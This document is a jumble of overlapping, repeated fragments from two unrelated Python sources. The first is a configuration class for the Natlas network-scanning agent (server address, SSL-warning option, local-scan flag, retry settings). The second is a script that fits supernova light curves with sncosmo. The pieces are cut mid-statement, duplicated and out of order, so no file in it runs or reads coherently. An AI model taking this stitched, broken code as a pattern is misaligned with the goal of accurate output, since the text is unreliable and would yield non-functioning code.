self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\") or None # Authentication token that", "maximum number of threads to utilize self.max_threads = self.get_int('NATLAS_MAX_THREADS') or", "the REQUESTS_CA_BUNDLE env variable self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN') or False #", "get_bool(self, varname): tmp = os.environ.get(varname) if tmp and tmp.upper() ==", "= os.environ.get(\"NATLAS_AGENT_TOKEN\") or None # Optionally save files that failed", "\"TRUE\": return True if tmp and tmp.upper() == \"FALSE\": return", "failed to upload self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\") or False # Allow", "agents protect themselves from scanning their local network self.scan_local =", "# seconds # Maximum value for exponential backoff of requests,", "put the trusted CA certificate bundle on the agent and", "from/to self.server = os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000' # ignore warnings about", "self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None self.sentry_dsn = os.environ.get(\"SENTRY_DSN\") or None", "# Base value to begin the exponential backoff self.backoff_base =", "REQUESTS_CA_BUNDLE env variable self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN') or False # maximum", "self.get_bool('NATLAS_SCAN_LOCAL') or False # default time to wait for the", "get_int(self, varname): tmp = os.environ.get(varname) if tmp: return int(tmp) return", "self.get_bool('NATLAS_IGNORE_SSL_WARN') or False # maximum number of threads to utilize", "to upload self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\") or False # Allow version", "This is useful if a thread is submitting data that", "os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self, varname): tmp = os.environ.get(varname) if", "upload self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\") or False # Allow version overrides", "or None self.sentry_dsn = os.environ.get(\"SENTRY_DSN\") or None if self.version_override: self.NATLAS_VERSION", "self.get_int('NATLAS_MAX_RETRIES') or 10 # Identification string that identifies the agent", "variable self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN') or False # maximum number of", "database lookup and stored in scan output self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\")", "respond self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT') or 15 # seconds # Maximum", "in scan output self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\") or None # Authentication", "host data templates before release self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None", "Maximum number of times to retry submitting data before giving", "5 minutes default self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX') or 300 # seconds", "False # default time to wait for the server to", "# ignore warnings about SSL connections # you shouldn't ignore", "Base value to begin the exponential backoff self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE')", "15 # seconds # Maximum value for exponential backoff of", "local development # Necessary to test versioned host data templates", "scan local addresses? # By default, agents protect themselves from", "# Optionally save files that failed to upload self.save_fails =", "value for exponential backoff of requests, 5 minutes default self.backoff_max", "# seconds # Base value to begin the exponential backoff", "os.environ.get(varname) if tmp and tmp.upper() == \"TRUE\": return True if", "or None # Optionally save files that failed to upload", "if a thread is submitting data that the server doesn't", "string that identifies the agent that performed any given scan", "times to retry submitting data before giving up # This", "work from/to self.server = os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000' # ignore warnings", "3 # Are we allowed to scan local addresses? #", "None # Optionally save files that failed to upload self.save_fails", "to utilize self.max_threads = self.get_int('NATLAS_MAX_THREADS') or 3 # Are we", "None def __init__(self): # url of server to get/submit work", "or False # maximum number of threads to utilize self.max_threads", "# Allow version overrides for local development # Necessary to", "CA certificate bundle on the agent and use the REQUESTS_CA_BUNDLE", "or None # Authentication token that agents can use to", "= self.get_int('NATLAS_REQUEST_TIMEOUT') or 15 # seconds # Maximum value for", "return None def get_bool(self, varname): tmp = os.environ.get(varname) if tmp", "understand for some reason self.max_retries = self.get_int('NATLAS_MAX_RETRIES') or 10 #", "tmp = os.environ.get(varname) if tmp: return int(tmp) return None def", "backoff self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE') or 1 # seconds # Maximum", "self.get_int('NATLAS_MAX_THREADS') or 3 # Are we allowed to scan local", "self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE') or 1 # seconds # Maximum number", "backoff of requests, 5 minutes default self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX') or", "def __init__(self): # url of server to get/submit work from/to", "for some reason self.max_retries = self.get_int('NATLAS_MAX_RETRIES') or 10 # Identification", "scan output self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\") or None # Authentication token", "# Current Version NATLAS_VERSION = \"0.6.10\" BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR,", "the server is configured to require agent authentication self.auth_token =", "we allowed to scan local addresses? # By default, agents", "for exponential backoff of requests, 5 minutes default self.backoff_max =", "= self.get_int('NATLAS_BACKOFF_MAX') or 300 # seconds # Base value to", "scanning their local network self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL') or False #", "ignore warnings about SSL connections # you shouldn't ignore ssl", "None self.sentry_dsn = os.environ.get(\"SENTRY_DSN\") or None if self.version_override: self.NATLAS_VERSION =", "utilize self.max_threads = self.get_int('NATLAS_MAX_THREADS') or 3 # Are we allowed", "Version NATLAS_VERSION = \"0.6.10\" BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def", "begin the exponential backoff self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE') or 1 #", "shouldn't ignore ssl warnings, but I'll give you the option", "you shouldn't ignore ssl warnings, but I'll give you the", "self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN') or False # maximum number of threads", "a thread is submitting data that the server doesn't understand", "given scan # Used for database lookup and stored in", "= self.get_int('NATLAS_MAX_RETRIES') or 10 # Identification string that identifies the", "Optionally save files that failed to upload self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\")", "# Maximum number of times to retry submitting data before", "trusted CA certificate bundle on the agent and use the", "self.server = os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000' # ignore warnings about SSL", "get/submit work from/to self.server = os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000' # ignore", "the server doesn't understand for some reason self.max_retries = self.get_int('NATLAS_MAX_RETRIES')", "True if tmp and tmp.upper() == \"FALSE\": return False return", "= os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None self.sentry_dsn = os.environ.get(\"SENTRY_DSN\") or None if", "minutes default self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX') or 300 # seconds #", "API # Only needed if the server is configured to", "or 15 # seconds # Maximum value for exponential backoff", "the agent and use the REQUESTS_CA_BUNDLE env variable self.ignore_ssl_warn =", "self.get_int('NATLAS_REQUEST_TIMEOUT') or 15 # seconds # Maximum value for exponential", "doesn't understand for some reason self.max_retries = self.get_int('NATLAS_MAX_RETRIES') or 10", "from scanning their local network self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL') or False", "tmp.upper() == \"FALSE\": return False return None def __init__(self): #", "SSL connections # you shouldn't ignore ssl warnings, but I'll", "the agent that performed any given scan # Used for", "seconds # Maximum value for exponential backoff of requests, 5", "ignore ssl warnings, but I'll give you the option #", "__init__(self): # url of server to get/submit work from/to self.server", "to respond self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT') or 15 # seconds #", "themselves from scanning their local network self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL') or", "to the server API # Only needed if the server", "the server to respond self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT') or 15 #", "retry submitting data before giving up # This is useful", "performed any given scan # Used for database lookup and", "or 1 # seconds # Maximum number of times to", "number of times to retry submitting data before giving up", "templates before release self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None self.sentry_dsn =", "'.env')) def get_int(self, varname): tmp = os.environ.get(varname) if tmp: return", "network self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL') or False # default time to", "default self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX') or 300 # seconds # Base", "1 # seconds # Maximum number of times to retry", "self.max_retries = self.get_int('NATLAS_MAX_RETRIES') or 10 # Identification string that identifies", "or 10 # Identification string that identifies the agent that", "use to talk to the server API # Only needed", "self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT') or 15 # seconds # Maximum value", "lookup and stored in scan output self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\") or", "or False # Allow version overrides for local development #", "should put the trusted CA certificate bundle on the agent", "addresses? # By default, agents protect themselves from scanning their", "server doesn't understand for some reason self.max_retries = self.get_int('NATLAS_MAX_RETRIES') or", "warnings, but I'll give you the option # Instead, you", "and stored in scan output self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\") or None", "= os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self, varname): tmp = os.environ.get(varname)", "useful if a thread is submitting data that the server", "int(tmp) return None def get_bool(self, varname): tmp = os.environ.get(varname) if", "seconds # Maximum number of times to retry submitting data", "agent and use the REQUESTS_CA_BUNDLE env variable self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN')", "that the server doesn't understand for some reason self.max_retries =", "versioned host data templates before release self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or" ]
[ "new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc = Table(new_lc, meta=lc.meta) return new_lc def", "= (3000, 7000) if model_name=='salt2' else None save_path = os.path.join(save_dir,", "= os.path.join(save_dir, '{}.pkl'.format(name)) try: minuit_result, minuit_fit_model = sncosmo.fit_lc(lc, model, model.param_names[:-2],", "nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result, open(save_path, 'wb')) else: pickle.dump(minuit_result, open(save_path, 'wb')) except:", "'/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if not os.path.isdir(save_dir):", "in os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2] == 'lc': lc = sncosmo.read_lc(os.path.join(DATA_PATH, f),", "'zp': data.zp, 'zpsys': data.zpsys} for band in set(data.band): band_cut =", "if f[:2] == 'lc': lc = sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2', expand_bands=True,", "np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc = Table(new_lc, meta=lc.meta) return new_lc", "load_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: pickle.load(open(load_path, 'rb')) print('{}: loaded'.format(name)) sys.stdout.flush()", "bounds['z'] = ((1-1e-4)*z, (1+1e-4)*z) for param_name in model.source.param_names[1:]: bounds[param_name] =", "bool(int(no_mc)) if no_mc: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else: save_dir =", "'/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.): \"\"\"Add an error floor of `error_floor`", "fit_lc_and_save(lc, model_name, save_dir, no_mc): name = lc.meta['SN'] model = sncosmo.Model(source=model_name,", "max(lc['Date'])) except KeyError: t0 = np.mean(lc['time']) bounds['t0'] = (min(lc['time'])-20, max(lc['time']))", "the band to each observation \"\"\" data = sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab')", "= sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc = {'time': data.time, 'band': data.band, 'flux':", "sncosmo import numpy as np from astropy.table import Table DATA_PATH", "{}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc, model_name, save_dir, no_mc) else: continue if __name__=='__main__':", "max(lc['time'])) bounds['z'] = ((1-1e-4)*z, (1+1e-4)*z) for param_name in model.source.param_names[1:]: bounds[param_name]", "= lc.meta['Z_HELIO'] mwebv = lc.meta['MWEBV'] bounds = {} try: t0", "expand_bands=True, read_covmat=True) lc = modify_error(lc, err_floor) name = lc.meta['SN'] if", "f), format='salt2', expand_bands=True, read_covmat=True) lc = modify_error(lc, err_floor) name =", "Table(new_lc, meta=lc.meta) return new_lc def fit_lc_and_save(lc, model_name, save_dir, no_mc): name", "effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs']) if type(name) is float: name = int(name)", "mwebv = lc.meta['MWEBV'] bounds = {} try: t0 = float(lc.meta['DayMax'].split()[0])", "= (min(lc['time'])-20, max(lc['time'])) bounds['z'] = ((1-1e-4)*z, (1+1e-4)*z) for param_name in", "'fluxerr': data.fluxerr, 'zp': data.zp, 'zpsys': data.zpsys} for band in set(data.band):", "max_flux_in_band = np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc = Table(new_lc, meta=lc.meta)", "= lc.meta['SN'] model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs']) if type(name)", "to {} failed'.format(name)) sys.stdout.flush() def main(): model_name, start, finish, err_floor,", "from astropy.table import Table DATA_PATH = '/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.):", "name = int(name) load_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: pickle.load(open(load_path, 'rb'))", "float(err_floor) no_mc = bool(int(no_mc)) if no_mc: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100))", "if not os.path.isdir(save_dir): os.makedirs(save_dir) lcs = [] for f in", "Table DATA_PATH = '/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.): \"\"\"Add an error", "if not no_mc: emcee_result, emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2],", "os.path.isdir(save_dir): os.makedirs(save_dir) lcs = [] for f in os.listdir(DATA_PATH)[int(start):int(finish)]: if", "for band in set(data.band): band_cut = data.band==band max_flux_in_band = np.max(data.flux[band_cut])", "else (-10, 40) wave_range = (3000, 7000) if model_name=='salt2' else", "phase_range=phase_range, wave_range=wave_range, warn=False, modelcov=modelcov) if not no_mc: emcee_result, emcee_fit_model =", "50) modelcov = model_name=='salt2' model.set(z=z, t0=t0, mwebv=mwebv) phase_range = (-15,", "(t0-5, t0+5) except KeyError: try: t0 = np.mean(lc['Date']) bounds['t0'] =", "save_dir, no_mc): name = lc.meta['SN'] model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'],", "(1+1e-4)*z) for param_name in model.source.param_names[1:]: bounds[param_name] = (-50, 50) modelcov", "set(data.band): band_cut = data.band==band max_flux_in_band = np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2)", "sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2], guess_t0=False, bounds=bounds, warn=False, nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result,", "of the band to each observation \"\"\" data = sncosmo.photdata.photometric_data(lc).normalized(zp=25.,", "new_lc def fit_lc_and_save(lc, model_name, save_dir, no_mc): name = lc.meta['SN'] model", "int(name) load_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: pickle.load(open(load_path, 'rb')) print('{}: loaded'.format(name))", "pickle.load(open(load_path, 'rb')) print('{}: loaded'.format(name)) sys.stdout.flush() except IOError: print('Fitting {}'.format(name)) sys.stdout.flush()", "int(name) z = lc.meta['Z_HELIO'] mwebv = lc.meta['MWEBV'] bounds = {}", "sys.stdout.flush() fit_lc_and_save(lc, model_name, save_dir, no_mc) else: continue if __name__=='__main__': main()", "except KeyError: t0 = np.mean(lc['time']) bounds['t0'] = (min(lc['time'])-20, max(lc['time'])) bounds['z']", "flux of the band to each observation \"\"\" data =", "modify_error(lc, error_floor=0.): \"\"\"Add an error floor of `error_floor` times the", "modelcov=modelcov) if not no_mc: emcee_result, emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model,", "= bool(int(no_mc)) if no_mc: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else: save_dir", "save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if", "'/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if not os.path.isdir(save_dir): os.makedirs(save_dir) lcs = [] for", "floor of `error_floor` times the maximum flux of the band", "= modify_error(lc, err_floor) name = lc.meta['SN'] if type(name) is float:", "model_name=='salt2' else (-10, 40) wave_range = (3000, 7000) if model_name=='salt2'", "try: minuit_result, minuit_fit_model = sncosmo.fit_lc(lc, model, model.param_names[:-2], bounds=bounds, phase_range=phase_range, wave_range=wave_range,", "finish, err_floor, no_mc = sys.argv[1:] start = int(start) finish =", "= int(name) load_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: pickle.load(open(load_path, 'rb')) print('{}:", "7000) if model_name=='salt2' else None save_path = os.path.join(save_dir, '{}.pkl'.format(name)) try:", "KeyError: t0 = np.mean(lc['time']) bounds['t0'] = (min(lc['time'])-20, max(lc['time'])) bounds['z'] =", "no_mc: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100))", "int(err_floor*100)) if not os.path.isdir(save_dir): os.makedirs(save_dir) lcs = [] for f", "except KeyError: try: t0 = np.mean(lc['Date']) bounds['t0'] = (min(lc['Date'])-20, max(lc['Date']))", "os.path.join(save_dir, '{}.pkl'.format(name)) try: minuit_result, minuit_fit_model = sncosmo.fit_lc(lc, model, model.param_names[:-2], bounds=bounds,", "'band': data.band, 'flux': data.flux, 'fluxerr': data.fluxerr, 'zp': data.zp, 'zpsys': data.zpsys}", "numpy as np from astropy.table import Table DATA_PATH = '/home/samdixon/jla_light_curves/'", "wave_range=wave_range, warn=False, modelcov=modelcov) if not no_mc: emcee_result, emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc,", "= float(err_floor) no_mc = bool(int(no_mc)) if no_mc: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name,", "lcs = [] for f in os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2] ==", "err_floor) name = lc.meta['SN'] if type(name) is float: name =", "emcee_result, emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2], guess_t0=False, bounds=bounds, warn=False,", "float(lc.meta['DayMax'].split()[0]) bounds['t0'] = (t0-5, t0+5) except KeyError: try: t0 =", "model, model.param_names[:-2], bounds=bounds, phase_range=phase_range, wave_range=wave_range, warn=False, modelcov=modelcov) if not no_mc:", "= sys.argv[1:] start = int(start) finish = int(finish) err_floor =", "os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2] == 'lc': lc = sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2',", "effect_names=['mw'], effect_frames=['obs']) if type(name) is float: name = int(name) z", "save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if not os.path.isdir(save_dir): os.makedirs(save_dir) lcs =", "if no_mc: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name,", "click import pickle import sncosmo import numpy as np from", "band in set(data.band): band_cut = data.band==band max_flux_in_band = np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut]", "is float: name = int(name) z = lc.meta['Z_HELIO'] mwebv =", "\"\"\"Add an error floor of `error_floor` times the maximum flux", "finish = int(finish) err_floor = float(err_floor) no_mc = bool(int(no_mc)) if", "except IOError: print('Fitting {}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc, model_name, save_dir, no_mc) else:", "import click import pickle import sncosmo import numpy as np", "(min(lc['time'])-20, max(lc['time'])) bounds['z'] = ((1-1e-4)*z, (1+1e-4)*z) for param_name in model.source.param_names[1:]:", "read_covmat=True) lc = modify_error(lc, err_floor) name = lc.meta['SN'] if type(name)", "= Table(new_lc, meta=lc.meta) return new_lc def fit_lc_and_save(lc, model_name, save_dir, no_mc):", "lc.meta['Z_HELIO'] mwebv = lc.meta['MWEBV'] bounds = {} try: t0 =", "= (t0-5, t0+5) except KeyError: try: t0 = np.mean(lc['Date']) bounds['t0']", "= lc.meta['MWEBV'] bounds = {} try: t0 = float(lc.meta['DayMax'].split()[0]) bounds['t0']", "((1-1e-4)*z, (1+1e-4)*z) for param_name in model.source.param_names[1:]: bounds[param_name] = (-50, 50)", "def modify_error(lc, error_floor=0.): \"\"\"Add an error floor of `error_floor` times", "mwebv=mwebv) phase_range = (-15, 45) if model_name=='salt2' else (-10, 40)", "= {} try: t0 = float(lc.meta['DayMax'].split()[0]) bounds['t0'] = (t0-5, t0+5)", "if model_name=='salt2' else (-10, 40) wave_range = (3000, 7000) if", "t0 = float(lc.meta['DayMax'].split()[0]) bounds['t0'] = (t0-5, t0+5) except KeyError: try:", "minuit_result, minuit_fit_model = sncosmo.fit_lc(lc, model, model.param_names[:-2], bounds=bounds, phase_range=phase_range, wave_range=wave_range, warn=False,", "= sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2], guess_t0=False, bounds=bounds, warn=False, nwalkers=40, modelcov=modelcov)", "name = int(name) z = lc.meta['Z_HELIO'] mwebv = lc.meta['MWEBV'] bounds", "modelcov=modelcov) pickle.dump(emcee_result, open(save_path, 'wb')) else: pickle.dump(minuit_result, open(save_path, 'wb')) except: print('Fit", "minuit_fit_model, model.param_names[:-2], guess_t0=False, bounds=bounds, warn=False, nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result, open(save_path, 'wb'))", "except: print('Fit to {} failed'.format(name)) sys.stdout.flush() def main(): model_name, start,", "lc.meta['SN'] if type(name) is float: name = int(name) load_path =", "= int(name) z = lc.meta['Z_HELIO'] mwebv = lc.meta['MWEBV'] bounds =", "bounds['t0'] = (t0-5, t0+5) except KeyError: try: t0 = np.mean(lc['Date'])", "= np.mean(lc['time']) bounds['t0'] = (min(lc['time'])-20, max(lc['time'])) bounds['z'] = ((1-1e-4)*z, (1+1e-4)*z)", "'{}.pkl'.format(name)) try: minuit_result, minuit_fit_model = sncosmo.fit_lc(lc, model, model.param_names[:-2], bounds=bounds, phase_range=phase_range,", "not no_mc: emcee_result, emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2], guess_t0=False,", "= sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2', expand_bands=True, read_covmat=True) lc = modify_error(lc, err_floor)", "= os.path.join(save_dir, '{}.pkl'.format(name)) try: pickle.load(open(load_path, 'rb')) print('{}: loaded'.format(name)) sys.stdout.flush() except", "DATA_PATH = '/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.): \"\"\"Add an error floor", "{'time': data.time, 'band': data.band, 'flux': data.flux, 'fluxerr': data.fluxerr, 'zp': data.zp,", "f in os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2] == 'lc': lc = sncosmo.read_lc(os.path.join(DATA_PATH,", "times the maximum flux of the band to each observation", "zpsys='ab') new_lc = {'time': data.time, 'band': data.band, 'flux': data.flux, 'fluxerr':", "= np.mean(lc['Date']) bounds['t0'] = (min(lc['Date'])-20, max(lc['Date'])) except KeyError: t0 =", "bounds=bounds, phase_range=phase_range, wave_range=wave_range, warn=False, modelcov=modelcov) if not no_mc: emcee_result, emcee_fit_model", "pickle.dump(emcee_result, open(save_path, 'wb')) else: pickle.dump(minuit_result, open(save_path, 'wb')) except: print('Fit to", "failed'.format(name)) sys.stdout.flush() def main(): model_name, start, finish, err_floor, no_mc =", "name = lc.meta['SN'] if type(name) is float: name = int(name)", "= np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc = Table(new_lc, meta=lc.meta) return new_lc def fit_lc_and_save(lc,", "print('Fitting {}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc, model_name, save_dir, no_mc) else: continue if", "new_lc = {'time': data.time, 'band': data.band, 'flux': data.flux, 'fluxerr': data.fluxerr,", "= '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if not os.path.isdir(save_dir): os.makedirs(save_dir) lcs = []", "err_floor = float(err_floor) no_mc = bool(int(no_mc)) if no_mc: save_dir =", "save_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: minuit_result, minuit_fit_model = sncosmo.fit_lc(lc, model,", "= sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs']) if type(name) is float: name", "type(name) is float: name = int(name) load_path = os.path.join(save_dir, '{}.pkl'.format(name))", "bounds[param_name] = (-50, 50) modelcov = model_name=='salt2' model.set(z=z, t0=t0, mwebv=mwebv)", "warn=False, modelcov=modelcov) if not no_mc: emcee_result, emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']),", "minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2], guess_t0=False, bounds=bounds, warn=False, nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result, open(save_path,", "40) wave_range = (3000, 7000) if model_name=='salt2' else None save_path", "bounds=bounds, warn=False, nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result, open(save_path, 'wb')) else: pickle.dump(minuit_result, open(save_path,", "if model_name=='salt2' else None save_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: minuit_result,", "'zpsys': data.zpsys} for band in set(data.band): band_cut = data.band==band max_flux_in_band", "an error floor of `error_floor` times the maximum flux of", "format='salt2', expand_bands=True, read_covmat=True) lc = modify_error(lc, err_floor) name = lc.meta['SN']", "t0+5) except KeyError: try: t0 = np.mean(lc['Date']) bounds['t0'] = (min(lc['Date'])-20,", "np from astropy.table import Table DATA_PATH = '/home/samdixon/jla_light_curves/' def modify_error(lc,", "main(): model_name, start, finish, err_floor, no_mc = sys.argv[1:] start =", "(3000, 7000) if model_name=='salt2' else None save_path = os.path.join(save_dir, '{}.pkl'.format(name))", "model_name, start, finish, err_floor, no_mc = sys.argv[1:] start = int(start)", "err_floor, no_mc = sys.argv[1:] start = int(start) finish = int(finish)", "for f in os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2] == 'lc': lc =", "for param_name in model.source.param_names[1:]: bounds[param_name] = (-50, 50) modelcov =", "import pickle import sncosmo import numpy as np from astropy.table", "open(save_path, 'wb')) except: print('Fit to {} failed'.format(name)) sys.stdout.flush() def main():", "data.band, 'flux': data.flux, 'fluxerr': data.fluxerr, 'zp': data.zp, 'zpsys': data.zpsys} for", "'{}.pkl'.format(name)) try: pickle.load(open(load_path, 'rb')) print('{}: loaded'.format(name)) sys.stdout.flush() except IOError: print('Fitting", "= int(start) finish = int(finish) err_floor = float(err_floor) no_mc =", "data.time, 'band': data.band, 'flux': data.flux, 'fluxerr': data.fluxerr, 'zp': data.zp, 'zpsys':", "phase_range = (-15, 45) if model_name=='salt2' else (-10, 40) wave_range", "= data.band==band max_flux_in_band = np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc =", "{} try: t0 = float(lc.meta['DayMax'].split()[0]) bounds['t0'] = (t0-5, t0+5) except", "t0 = np.mean(lc['Date']) bounds['t0'] = (min(lc['Date'])-20, max(lc['Date'])) except KeyError: t0", "guess_t0=False, bounds=bounds, warn=False, nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result, open(save_path, 'wb')) else: pickle.dump(minuit_result,", "open(save_path, 'wb')) else: pickle.dump(minuit_result, open(save_path, 'wb')) except: print('Fit to {}", "sys.stdout.flush() def main(): model_name, start, finish, err_floor, no_mc = sys.argv[1:]", "def main(): model_name, start, finish, err_floor, no_mc = sys.argv[1:] start", "lc = modify_error(lc, err_floor) name = lc.meta['SN'] if type(name) is", "else: pickle.dump(minuit_result, open(save_path, 'wb')) except: print('Fit to {} failed'.format(name)) sys.stdout.flush()", "start, finish, err_floor, no_mc = sys.argv[1:] start = int(start) finish", "== 'lc': lc = sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2', expand_bands=True, read_covmat=True) lc", "{} failed'.format(name)) sys.stdout.flush() def main(): model_name, start, finish, err_floor, no_mc", "\"\"\" data = sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc = {'time': data.time, 'band':", "no_mc): name = lc.meta['SN'] model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs'])", "the maximum flux of the band to each observation \"\"\"", "'lc': lc = sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2', 